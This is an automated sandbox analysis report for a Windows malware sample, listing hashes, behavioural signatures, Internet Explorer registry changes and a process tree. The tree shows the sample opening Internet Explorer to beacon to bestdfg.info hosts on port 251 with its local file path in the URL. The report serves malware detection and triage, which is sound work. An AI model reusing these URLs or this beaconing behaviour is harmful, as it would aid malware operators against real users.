Analysis
-
max time kernel
187s -
max time network
195s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
23-11-2022 11:05
Static task
static1
Behavioral task
behavioral1
Sample
4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe
Resource
win10v2004-20221111-en
General
-
Target
4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe
-
Size
106KB
-
MD5
04dc85e18f440a5b0357e8a36eb5c281
-
SHA1
932d9dbe76cdc980f3ee7c5e345526f89a47af4f
-
SHA256
4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050
-
SHA512
11f8036c4fa9286d3c02c28569bc163bb60f5440dd2b87f4a57dcae6d04c92138ba417626f991e614807d0aa14f70ac44028765f0b34f502f19fa27240f6f4da
-
SSDEEP
3072:xZMJnTeM4cJJ+dILa77j2NZmOSyt+DDMuzWtVhUxxe:/eTeM/mILI8Z2yQ/MGWcxg
Malware Config
Signatures
-
Loads dropped DLL 9 IoCs
Processes:
4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exepid process 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Processes:
IEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEdescription ioc process Set value (data) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Toolbar IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\PageSetup IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{84F248B1-6B2B-11ED-B422-767CA9D977BF} = "0" IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\GPU IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\LowRegistry IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\PageSetup IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Toolbar IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{9788A550-6B2B-11ED-B422-767CA9D977BF} = "0" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000fbafda4d2839344b902c87c07ddf25a100000000020000000000106600000001000020000000db01cf101cd4a144d456579d400b433b674bd922c6e4afa51a422e0d872a49b0000000000e8000000002000020000000f60085d1e5e11247bd1c1b8b5c89478bed1ec07d3f430610dfbecfd138fee7aa9000000044633beacf3a9781819c38820d1ae56be74a8f97093a435794a07b4a29541b49fcc2385cf0cea53c1a9ea276cd0e988ec8f911f1f8ee44a0bad90992d8b052026dd198184eb00dc50dba199760ad428e477f0b5d262b256ff353b354260382659d03072c1c92582ec07358f7277ca65b07c5c30ba4c713243e68e71bb79a6f036c82033811e27be8ab57f3c7cd22c2da400000009e94d130bd006b8b578df2fdd375055c523a5cf1c86a58724a37742063e5a770d3541c9578fbcc652016809dbc0a6e3231b30bbc78b880df9514ab0b2c98ae9c IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\SearchScopes IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\LowRegistry IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff00000000000000008604000065020000 IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Zoom IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\InternetRegistry IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff19000000190000009f0400007e020000 IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3200000032000000b804000097020000 IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\IntelliForms IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000 IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = b051495c38ffd801 IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\IntelliForms IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000fbafda4d2839344b902c87c07ddf25a1000000000200000000001066000000010000200000007e67fc0989dcbf9e0a374f0edb57756e975b010599b284937b145eb1bea93e44000000000e800000000200002000000025ab0f15c8249d079bfdf02cc12d6ab6c771b6efadf998755acadeced15019a22000000016eef65bd98347dd8e572dc7a6c79a50b2fe6311d65cd06a4d186333bef059bc4000000051b24229342d3ce431beaed0cb3ee185a4bb259ba46e33ba634cad3b2b60bbe47473bae9ca06c2dd9f9b6e9f84c784449f5ee19acb65a34ffc890f1be34c0039 IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff5600000000000000dc04000065020000 IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\IETld\LowMic IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Zoom IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff5600000000000000dc04000065020000 IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\DomainSuggestion IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff4b00000000000000d104000065020000 IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
IEXPLORE.EXEpid process 2028 IEXPLORE.EXE -
Suspicious use of FindShellTrayWindow 12 IoCs
Processes:
IEXPLORE.EXEIEXPLORE.EXEpid process 2028 IEXPLORE.EXE 2028 IEXPLORE.EXE 1904 IEXPLORE.EXE 2028 IEXPLORE.EXE 2028 IEXPLORE.EXE 2028 IEXPLORE.EXE 2028 IEXPLORE.EXE 2028 IEXPLORE.EXE 2028 IEXPLORE.EXE 2028 IEXPLORE.EXE 2028 IEXPLORE.EXE 2028 IEXPLORE.EXE -
Suspicious use of SetWindowsHookEx 52 IoCs
Processes:
IEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEpid process 2028 IEXPLORE.EXE 2028 IEXPLORE.EXE 1668 IEXPLORE.EXE 1668 IEXPLORE.EXE 1668 IEXPLORE.EXE 1668 IEXPLORE.EXE 2028 IEXPLORE.EXE 2028 IEXPLORE.EXE 1904 IEXPLORE.EXE 1904 IEXPLORE.EXE 1820 IEXPLORE.EXE 1820 IEXPLORE.EXE 1380 IEXPLORE.EXE 1380 IEXPLORE.EXE 2028 IEXPLORE.EXE 2028 IEXPLORE.EXE 1188 IEXPLORE.EXE 1188 IEXPLORE.EXE 2028 IEXPLORE.EXE 2028 IEXPLORE.EXE 1668 IEXPLORE.EXE 1668 IEXPLORE.EXE 1668 IEXPLORE.EXE 1668 IEXPLORE.EXE 2028 IEXPLORE.EXE 2028 IEXPLORE.EXE 2292 IEXPLORE.EXE 2292 IEXPLORE.EXE 2028 IEXPLORE.EXE 2028 IEXPLORE.EXE 2452 IEXPLORE.EXE 2452 IEXPLORE.EXE 2028 IEXPLORE.EXE 2028 IEXPLORE.EXE 1820 IEXPLORE.EXE 1820 IEXPLORE.EXE 2028 IEXPLORE.EXE 2028 IEXPLORE.EXE 2684 IEXPLORE.EXE 2684 IEXPLORE.EXE 2028 IEXPLORE.EXE 2028 IEXPLORE.EXE 1188 IEXPLORE.EXE 1188 IEXPLORE.EXE 2028 IEXPLORE.EXE 2028 IEXPLORE.EXE 2292 IEXPLORE.EXE 2292 IEXPLORE.EXE 2028 IEXPLORE.EXE 2028 IEXPLORE.EXE 2220 IEXPLORE.EXE 2220 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exeiexplore.exeIEXPLORE.EXEiexplore.exeIEXPLORE.EXEiexplore.exedescription pid process target process PID 1656 wrote to memory of 1160 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1656 wrote to memory of 1160 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1656 wrote to memory of 1160 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1656 wrote to memory of 1160 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1656 wrote to memory of 1160 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1656 wrote to memory of 1160 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1656 wrote to memory of 1160 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1160 wrote to memory of 2028 1160 iexplore.exe IEXPLORE.EXE PID 1160 wrote to memory of 2028 1160 iexplore.exe IEXPLORE.EXE PID 1160 wrote to memory of 2028 1160 iexplore.exe IEXPLORE.EXE PID 1160 wrote to memory of 2028 1160 iexplore.exe IEXPLORE.EXE PID 2028 wrote to memory of 1668 2028 IEXPLORE.EXE IEXPLORE.EXE PID 2028 wrote to memory of 1668 2028 IEXPLORE.EXE IEXPLORE.EXE PID 2028 wrote to memory of 1668 2028 IEXPLORE.EXE IEXPLORE.EXE PID 2028 wrote to memory of 1668 2028 IEXPLORE.EXE IEXPLORE.EXE PID 2028 wrote to memory of 1668 2028 IEXPLORE.EXE IEXPLORE.EXE PID 2028 wrote to memory of 1668 2028 IEXPLORE.EXE IEXPLORE.EXE PID 2028 wrote to memory of 1668 2028 IEXPLORE.EXE IEXPLORE.EXE PID 1656 wrote to memory of 892 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1656 wrote to memory of 892 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1656 wrote to memory of 892 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1656 wrote to memory of 892 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1656 wrote to memory of 892 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1656 wrote to memory of 892 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1656 wrote to memory of 892 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 892 wrote to memory of 1904 892 iexplore.exe IEXPLORE.EXE PID 892 wrote to memory of 1904 892 iexplore.exe IEXPLORE.EXE PID 892 wrote to memory of 1904 892 iexplore.exe IEXPLORE.EXE PID 892 wrote to memory of 1904 892 iexplore.exe IEXPLORE.EXE PID 2028 wrote to memory of 1820 2028 IEXPLORE.EXE IEXPLORE.EXE PID 2028 wrote to memory of 1820 2028 IEXPLORE.EXE IEXPLORE.EXE PID 2028 wrote to memory of 1820 2028 IEXPLORE.EXE IEXPLORE.EXE PID 2028 wrote to memory of 1820 2028 IEXPLORE.EXE IEXPLORE.EXE PID 2028 wrote to memory of 1820 2028 IEXPLORE.EXE IEXPLORE.EXE PID 2028 wrote to memory of 1820 2028 IEXPLORE.EXE IEXPLORE.EXE PID 2028 wrote to memory of 1820 2028 IEXPLORE.EXE IEXPLORE.EXE PID 1904 wrote to memory of 1380 1904 IEXPLORE.EXE IEXPLORE.EXE PID 1904 wrote to memory of 1380 1904 IEXPLORE.EXE IEXPLORE.EXE PID 1904 wrote to memory of 1380 1904 IEXPLORE.EXE IEXPLORE.EXE PID 1904 wrote to memory of 1380 1904 IEXPLORE.EXE IEXPLORE.EXE PID 1904 wrote to memory of 1380 1904 IEXPLORE.EXE IEXPLORE.EXE PID 1904 wrote to memory of 1380 1904 IEXPLORE.EXE IEXPLORE.EXE PID 1904 wrote to memory of 1380 1904 IEXPLORE.EXE IEXPLORE.EXE PID 1656 wrote to memory of 1776 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1656 wrote to memory of 1776 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1656 wrote to memory of 1776 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1656 wrote to memory of 1776 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1656 wrote to memory of 1776 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1656 wrote to memory of 1776 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1656 wrote to memory of 1776 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1776 wrote to memory of 1980 1776 iexplore.exe IEXPLORE.EXE PID 1776 wrote to memory of 1980 1776 iexplore.exe IEXPLORE.EXE PID 1776 wrote to memory of 1980 1776 iexplore.exe IEXPLORE.EXE PID 1776 wrote to memory of 1980 1776 iexplore.exe IEXPLORE.EXE PID 2028 wrote to memory of 1188 2028 IEXPLORE.EXE IEXPLORE.EXE PID 2028 wrote to memory of 1188 2028 IEXPLORE.EXE IEXPLORE.EXE PID 2028 wrote to memory of 1188 2028 IEXPLORE.EXE IEXPLORE.EXE PID 2028 wrote to memory of 1188 2028 IEXPLORE.EXE IEXPLORE.EXE PID 2028 wrote to memory of 1188 2028 IEXPLORE.EXE IEXPLORE.EXE PID 2028 wrote to memory of 1188 2028 IEXPLORE.EXE IEXPLORE.EXE PID 2028 wrote to memory of 1188 2028 IEXPLORE.EXE IEXPLORE.EXE PID 1656 wrote to memory of 2144 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1656 wrote to memory of 2144 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe PID 1656 wrote to memory of 2144 1656 4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe iexplore.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe"C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\iexplore.exe"C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://dsdc.bestdfg.info:251/?t=1123&i=ie&8383cb5a51f4672ae32da63c639759c8a85363ae=8383cb5a51f4672ae32da63c639759c8a85363ae&uu=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae2⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\IEXPLORE.EXE"C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://dsdc.bestdfg.info:251/?t=1123&i=ie&8383cb5a51f4672ae32da63c639759c8a85363ae=8383cb5a51f4672ae32da63c639759c8a85363ae&uu=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae3⤵
- Modifies Internet Explorer settings
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2028 CREDAT:275457 /prefetch:24⤵
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2028 CREDAT:799752 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2028 CREDAT:865299 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2028 CREDAT:472095 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2028 CREDAT:3683350 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2028 CREDAT:3486758 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2028 CREDAT:4142111 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Internet Explorer\iexplore.exe"C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a1&tt=1123&ur=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae2⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\IEXPLORE.EXE"C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a1&tt=1123&ur=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae3⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1904 CREDAT:275457 /prefetch:24⤵
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Internet Explorer\iexplore.exe"C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a2&tt=1123&ur=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae2⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\IEXPLORE.EXE"C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a2&tt=1123&ur=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae3⤵
-
C:\Program Files (x86)\Internet Explorer\iexplore.exe"C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a3&tt=1123&ur=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae2⤵
-
C:\Program Files\Internet Explorer\IEXPLORE.EXE"C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a3&tt=1123&ur=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae3⤵
-
